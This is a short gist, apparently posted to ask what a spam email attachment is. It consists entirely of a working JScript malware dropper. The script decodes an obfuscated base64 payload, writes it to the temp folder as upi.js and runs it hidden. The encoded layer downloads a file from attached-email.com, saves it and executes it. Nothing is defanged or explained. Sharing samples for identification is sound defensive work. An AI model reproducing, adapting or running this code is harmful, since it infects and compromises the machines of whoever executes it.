Mail spam. What is it?

gistfile1.js

var T05="%temp%\\";
function CreateObject(b){return new ActiveXObject(b)}
var JS02=CreateObject("WScript.Shell");
T05=JS02.ExpandEnvironmentStrings(T05);
function JS04(JS13,JS06)
{var JS05=new CreateObject("ADODB.Stream");
var JS07=new ActiveXObject("Msxml2.DOMDocument.6.0");
var JS08=JS07.createElement('tmp');
JS08.dataType='bin.base64';
JS08.text=JS13;
var JS09=JS08.nodeTypedValue;JS05.Type=1;JS05.Open();JS05.Write(JS09);JS05.SaveToFile(JS06,2);JS05.Close();}
function JS10(JS12){JS02.Run(JS12,0,0);}
JS04('ZXZhbCgoZnVuY3Rpb24oeCl7dmFyIGQ9IiI7dmFyIHA9MDt3aGlsZShwPHgubGVuZ3RoKXtpZih4LmNoYXJBdChwKSE9ImAiKWQrPXguY2hhckF0KHArKyk7ZWxzZXt2YXIgbD14LmNoYXJDb2RlQXQocCszKS0yODtpZihsPjQpZCs9ZC5zdWJzdHIoZC5sZW5ndGgteC5jaGFyQ29kZUF0KHArMSkqOTYteC5jaGFyQ29kZUF0KHArMikrMzEwNC1sLGwpO2Vsc2UgZCs9ImAiO3ArPTR9fXJldHVybiBkfSkoImV2YWwoKGZ1bmN0aW9uICh4KSB7dmFyIGQgPSBcIlwiO3ZhciBwID0gMDt3aGlsZSAocCA8IHgubGVuZ3RoKSB7aWYgKHguY2hhckF0KHApICE9IFwiYCAgIFwiKSB7ZCArPSBgIDAmKyspO30gZWxzZWAgeVwibCBgIDYkQ29kZUF0KHAgKyAzKSAtIDI4O2lmIChsID4gNGAgYCRkLnN1YnN0cihkYCEzIyAtYCBMLjEpICogOTZgICcwMikgKyAzMTA0IC0gbCwgbGAhQiZgIHohXCJgICAgXCI7fXAgKz0gNDt9fXJldHVybiBkO30pKFwidmFyIEpTMDMgPSBcXFwiJXRlbXAlXFxcXFxcXFxcXFwiO2AjKiVDcmVhdGVPYmplY3QoYikge2AgWiNuZXcgQWN0aXZlWGAgICAgNCU7fWAgICAgZiMyID1gICAgIEsqXFxcIldTY3JpcHQuU2hlbGxcXFwiKTtgICAgISsjSlMwMi5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoSlMwMylgICAgIUEmamooYiwgZGAkQyNjID1gICAgITIvXFxcIk1TWE1MMi5YTUxIVFRQXFxcIik7Yy5vcGVuKFxcXCJHRVRcXFwiLCBiLCAwKTtjLnNlbmQoKTtgICAgIE4vYCAgICFjXFxcImluZy5GaWxlU3lzdGVtYCAgICA2XFxcIlxcXCIpYCU4IWFgICAgISMyQURPREIuU3RyZWFtXFxcIik7YS5PcGVuKCk7YS5UeXBlID0gMTthLldyaXRlKGMuUmVzcG9uc2VCb2R5KTthLlBvc2lgICAgXFxcIj8hPSAwO2EuU2F2ZVRvRmlsZShkLCAyKTthLkNsb3NlKCk7fWpqKFxcXCJodHRwOi8vYXR0YWNoZWQtZW1haWwuY29tL2ZpbGUuZG9jXFxcIiwgXFxcIlxcXCIgK2AgICAkdFxcXCIrIFxcXCJkb2N1bWVudGAgICAgNyFgICAgI0knSlMxMShKUzEyKSB7YCAgICQoIVJ1bmAgICAgKyEsIDFgICAgIyYhfXRyeSB7YCAgICBCIWAgICAgVTh9IGNhdGNoIChKUzAwNykge31gICAgIHcoMGAgICAgbDMwYCAgICB9XFxcImAgICAhcD9jc3NgICAgXFxcIiMsYCAgICAvJSk7YCAgICA+P2JhdGAgICAgTDFiYXRgICAgJmohMTBgICAgXFxcIjIqYCAgICAyJ1wiKSk7Iikp',''+T05+'upi.js');
JS10(''+T05+'upi.js');